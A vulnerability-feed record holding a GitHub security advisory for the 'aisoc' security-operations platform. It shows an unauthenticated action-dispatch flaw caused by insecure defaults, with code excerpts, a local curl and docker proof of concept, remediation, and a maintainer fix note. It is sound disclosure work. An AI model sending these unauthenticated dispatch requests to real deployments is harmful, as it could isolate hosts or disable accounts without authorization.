{"schema":"threatline.record/2","record":{"id":"GHSA-g4h7-p63q-r8r4","aliases":["GHSA-g4h7-p63q-r8r4"],"summary":"Missing Authentication for Critical Function and Initialization of a Resource with an Insecure Default in aisoc","details":"### Summary\r\n\r\n`services/actions` executes response actions against customer estates: isolate a host, disable an account, block an IP, kill a process, run a script. Every mutating route is meant to require a shared service bearer token.\r\n\r\nIn the **shipped, unmodified deployment** that token is never generated and the dev-mode escape is on by default, so the authentication guard returns early and **no authentication is performed at all**. `POST /api/v1/live-actions/dispatch` — the endpoint that isolates hosts, disables accounts and blocks IPs — executes for an anonymous caller who sends no `Authorization` header.\r\n\r\nThe root cause is a mismatch between two halves of this repository: `scripts/ensure_env.py` generates three secrets and not this one, while `docker-compose.yml` defaults `AISOC_DEV_MODE` to `1`. The same image with a token configured returns `401` correctly, which isolates the defect to configuration **as shipped**.\r\n\r\n**Severity: Critical — CVSS v3.1 `AV:A/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:H` = 9.5**\r\n\r\n**Weaknesses: CWE-306 (Missing Authentication for Critical Function), CWE-1188 (Insecure Default Initialization of Resource)**\r\n\r\nVerified by execution, with a control (PoC §5).\r\n\r\n---\r\n\r\n### Details\r\n\r\n**Component:** `services/actions` + `docker-compose.yml` + `scripts/ensure_env.py`. Image `ghcr.io/beenuar/aisoc-actions:latest`.\r\n\r\n#### Attack surface\r\n\r\n| Route | Code | Guard |\r\n|---|---|---|\r\n| `POST /api/v1/live-actions/dispatch` | `services/actions/app/api/live_actions_router.py:160` | Router-level `dependencies=[Depends(require_service_auth)]` at `:59` |\r\n| `GET /api/v1/live-actions` | `live_actions_router.py:87` | same |\r\n| `POST /api/v1/actions` | `services/actions/app/api/router.py:53` | `Depends(require_service_auth)` |\r\n| `POST /api/v1/actions/{id}/approve` | `app/api/router.py:178` | same |\r\n| `POST /api/v1/actions/{id}/reject` | `app/api/router.py:233` | same |\r\n| `GET /api/v1/actions/{id}` | `app/api/router.py:265` | same |\r\n\r\nPort: `docker-compose.yml` maps `\"${AISOC_BIND_ADDR:-127.0.0.1}:8002:8085\"`; the container listens on `0.0.0.0:8085` (`services/actions/Dockerfile`). Because the container binds all interfaces on the compose network, the service is reachable from any container on that network even when the host port is published to loopback only.\r\n\r\n#### Defect 1 — the guard fails open when the token is empty and dev-mode is on\r\n\r\n```python\r\n# services/actions/app/security/authz.py:104-122\r\nasync def require_service_auth(authorization: str | None = Header(default=None)) -> None:   # :104\r\n    \"\"\"FastAPI dependency: verify the service bearer token on mutating routes\r\n    (W4.3). Fails closed in production when no token is configured.\"\"\"\r\n    settings = get_settings()\r\n    token = settings.AISOC_ACTIONS_SERVICE_TOKEN.strip()      # :108\r\n    if not token:\r\n        if settings.AISOC_DEV_MODE:                           # :110\r\n            return                                            # :111   <-- no authentication performed\r\n        raise HTTPException(status_code=503, detail=\"actions service auth is not configured\")\r\n    expected = f\"Bearer {token}\"\r\n    if not authorization or not hmac.compare_digest(authorization, expected):\r\n        raise HTTPException(status_code=401, detail=\"invalid or missing service token\")\r\n```\r\n\r\nThe early `return` at `:111` is correct **only if** a deployment can never reach it with dev-mode on. It can.\r\n\r\n#### Defect 2 — the token is never generated\r\n\r\n```python\r\n# scripts/ensure_env.py:82-95\r\nGENERATED: dict[str, tuple[Callable[[], str], str]] = {          # :82\r\n    \"AISOC_CREDENTIAL_KEY\": (...),                               # :83\r\n    \"SECRET_KEY\":           (...),                               # :87\r\n    \"AISOC_SERVICE_TOKEN\":  (...),                               # :91\r\n}\r\n```\r\n\r\n`AISOC_ACTIONS_SERVICE_TOKEN` is absent. `scripts/ensure_env.py` is the script `make up` runs to create `.env` and fill its generated secrets, so a stock install leaves it unset. It is also **not documented in `.env.example`** — searching that file for the variable returns nothing.\r\n\r\n#### Defect 3 — dev-mode defaults on\r\n\r\n```yaml\r\n# docker-compose.yml (actions service)\r\n      # Must match AISOC_ACTIONS_SERVICE_TOKEN on the api and slack-bot\r\n      # services. Unset in dev, where AISOC_DEV_MODE relaxes the check;\r\n      # require_service_auth returns 503 on every mutating route without it\r\n      # in any other environment, which is the intended failure.\r\n      AISOC_ACTIONS_SERVICE_TOKEN: ${AISOC_ACTIONS_SERVICE_TOKEN:-}      # :862   empty unless the operator sets it\r\n      AISOC_DEV_MODE: ${AISOC_DEV_MODE:-1}                               # :863   defaults ON\r\n```\r\n\r\nThe comment at `:858-861` states the intended contract: *\"require_service_auth returns 503 on every mutating route without it in any other environment, which is the intended failure.\"*\r\n\r\nThat contract assumes \"any other environment\" occurs. It does not: `AISOC_DEV_MODE` defaults to `1` in the same file, so out-of-the-box the service is permanently \"dev\" for authentication purposes and the 503 branch is unreachable.\r\n\r\n#### Defect 4 — the authorization gate beneath it is also bypassable\r\n\r\n- `authorize_action` returns early when `request.principal is None` and `AISOC_ACTIONS_REQUIRE_PRINCIPAL` is `False` — its default (`services/actions/app/core/config.py:93-96`).\r\n- `POST /actions/{id}/approve` accepts a **caller-supplied** `ActionPrincipal`, including its `permissions` list (`services/actions/app/api/router.py:178-217`), so a caller able to reach the port can also satisfy the approval requirement.\r\n\r\n**Note on scope:** the shipped default for `AISOC_ACTIONS_REQUIRE_APPROVER` is `True` (`services/actions/app/core/config.py:103-106`), so *if* the token is configured, the approve path correctly refuses an identity-less call. That default limits the blast radius in a correctly-configured deployment — but it is not in play when the service is unauthenticated, which is the state this report is about.\r\n\r\n#### Why the existing controls do not stop it\r\n\r\n- `require_service_auth` itself is correct (`hmac.compare_digest`, fail-closed 503) — but its empty-token branch is gated on a flag that defaults to on.\r\n- `.env.example` does not document the variable, so an operator reading the documented configuration has no instruction to set it.\r\n- `ensure_env.py` generates `AISOC_SERVICE_TOKEN` (used by connectors, ueba, honeytokens, purple-team, slack-bot) but not the actions-service token, even though `docker-compose.yml:858` says they \"must match\".\r\n- Nothing in `infra/` (Helm, Terraform) sets it either.\r\n\r\n---\r\n\r\n### PoC\r\n\r\n#### 1. Run the shipped configuration\r\n\r\n```bash\r\ndocker compose build actions\r\ndocker network create aisoc-test\r\ndocker run -d --name aisoc-actions-test --network aisoc-test -p 127.0.0.1:18085:8085 \\\r\n  -e AISOC_DEV_MODE=1 -e AISOC_ACTIONS_SERVICE_TOKEN= \\\r\n  ghcr.io/beenuar/aisoc-actions:latest\r\n```\r\n\r\nWait for `Application startup complete.` in `docker logs aisoc-actions-test`.\r\n\r\n#### 2. Anonymous requests — **no `Authorization` header is sent**\r\n\r\n```\r\n$ curl -i http://127.0.0.1:18085/api/v1/live-actions\r\nHTTP 200\r\n  -> 73 executors, 22 vendors enumerated\r\n     [\"aws\",\"azure_entra\",\"cloudflare\",\"crowdstrike\",\"defender\",\"elastic\",\"fortigate\",\r\n      \"google_workspace\",\"jira\",\"okta\",\"pagerduty\",\"panos\",\"qradar\",\"sentinel\",\r\n      \"sentinelone\",\"servicenow\",\"slack\",\"splunk\",\"teams\", ...]\r\n\r\n$ curl -X POST http://127.0.0.1:18085/api/v1/live-actions/dispatch \\\r\n    -H 'Content-Type: application/json' \\\r\n    -d '{\"capability\":\"isolate_host\",\"vendor_id\":\"crowdstrike\",\r\n         \"target\":\"VICTIM-HOST-01\",\"params\":{},\"dry_run\":false}'\r\nHTTP 200\r\n  {\"result\":{\"request_id\":\"679916dd-...\",\"status\":\"simulated\",\r\n             \"capability\":\"isolate_host\",\"vendor_id\":\"crowdstrike\",\r\n             \"summary\":\"Simulated isolate host VICTIM-HOST-01\", ...}}\r\n```\r\n\r\nThe dispatch endpoint **executed** the action. `\"simulated\"` reflects only that no CrowdStrike credentials were supplied in this request — it is an execution outcome, not an authentication refusal.\r\n\r\n#### 3. Control — identical image, token configured\r\n\r\n```bash\r\ndocker run -d --name aisoc-actions-ctl --network aisoc-test -p 127.0.0.1:18086:8085 \\\r\n  -e AISOC_DEV_MODE=1 -e AISOC_ACTIONS_SERVICE_TOKEN='s3cr3t-token-set-by-operator' \\\r\n  ghcr.io/beenuar/aisoc-actions:latest\r\n```\r\n\r\n```\r\n$ curl -i http://127.0.0.1:18086/api/v1/live-actions                 # no header\r\nHTTP 401   {\"detail\":\"invalid or missing service token\"}\r\n\r\n$ curl -i -X POST http://127.0.0.1:18086/api/v1/live-actions/dispatch # no header\r\nHTTP 401   {\"detail\":\"invalid or missing service token\"}\r\n\r\n$ curl -i -X POST http://127.0.0.1:18086/api/v1/live-actions/dispatch \\\r\n    -H 'Authorization: Bearer s3cr3t-token-set-by-operator' ...\r\nHTTP 200\r\n```\r\n\r\nThe only difference between the two runs is configuration. That is what identifies this as an insecure-default defect rather than an authorization bug in the code path.\r\n\r\n---\r\n\r\n### Impact\r\n\r\n- **CWE-306 / CWE-1188.** Unauthenticated remote dispatch of containment actions to anyone who can reach the port — any process on the host, or any container on the `aisoc` compose network, including a compromised lower-value service (web, ingest, a connector). Contained actions include `isolate_host`, `disable_user`, `block_ip`, `kill_process` and `run_script`.\r\n- **Chained impact.** Combined with the separate command-injection finding in the CrowdStrike RTR client (`crowdstrike_rtr.py:273`, `endpoint.py:442`, `crowdstrike_rtr.py:392`), this makes those injection sinks reachable **without any credential**, provided the caller supplies vendor credentials or reaches the playbook path (`services/api/app/services/playbook_step_dispatch.py:181`) where AiSOC supplies them from the vault.\r\n- **Reconnaissance.** `GET /api/v1/live-actions` enumerates the estate's integrations — which EDR, IdP, cloud and network vendors the customer runs — to an unauthenticated caller.\r\n- **Who is impacted:** every deployment created with the shipped `docker-compose.yml` and `make env`, i.e. the documented default install.\r\n- **Honest limitation.** With no vendor credentials available to the attacker, dispatched actions return `simulated` and touch no vendor. The finding is the authentication bypass, not unattended containment; real estate impact requires either the attacker holding vendor credentials or the playbook path, where the platform supplies them.\r\n\r\n**Suggested remediation:** (1) add `AISOC_ACTIONS_SERVICE_TOKEN` to `GENERATED` in `scripts/ensure_env.py:82` and document it in `.env.example`; (2) default `AISOC_DEV_MODE` to `0` in `docker-compose.yml:863`; (3) make the unconfigured-credential case a startup error rather than a request-time pass, regardless of dev-mode; (4) default `AISOC_ACTIONS_REQUIRE_PRINCIPAL` to `True` (`services/actions/app/core/config.py:93`) and stop accepting caller-supplied `permissions` on the approve route (`services/actions/app/api/router.py:178-217`); (5) audit the sibling services — the same `_dev_mode()` early-return is vendored into connectors, ueba, honeytokens and purple-team (`app/security/service_auth.py:66` in each), protected today only because `ensure_env.py` happens to generate `AISOC_SERVICE_TOKEN`.\n\n---\n\n## Maintainer response\n\nConfirmed and fixed. The dev-mode exemption is gone from `require_service_auth()`; the actions service now answers 503 on every mutating route when `AISOC_ACTIONS_SERVICE_TOKEN` is unset rather than serving unauthenticated, and `make env` generates that token so a first run is not the insecure case.\n\nYou were right that this was reachable on a stock install. Thank you for the report.\n\nFixed in **v12.0.0**.","categories":["Unclassified"],"product":"aisoc","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/beenuar/AiSOC/security/advisories/GHSA-g4h7-p63q-r8r4","source_modified_at":"2026-09-29T03:04:10Z","fetched_at":"2026-10-23T20:39:26.410340Z","package":{"ecosystem":"other","name":"aisoc"},"range":">= 8.0.0, <= 11.2.0"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/beenuar/AiSOC/security/advisories/GHSA-g4h7-p63q-r8r4","source_modified_at":"2026-09-29T03:04:10Z","fetched_at":"2026-10-23T20:39:26.410340Z","package":{"ecosystem":"other","name":"aisoc"},"version":"12.0.0"}],"cvss":9.6,"severity":"Critical","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-09-29T03:04:10Z","modified_at":"2026-09-29T03:04:10Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/beenuar/AiSOC/security/advisories/GHSA-g4h7-p63q-r8r4","fetched_at":"2026-10-23T20:39:26.410340Z","source_modified_at":"2026-09-29T03:04:10Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-09-29T03:04:10Z","content_hash":"f2fded2c47eab65bf8455b0c13fdc2536586bb045335281f8396cc4ff671e946"}}
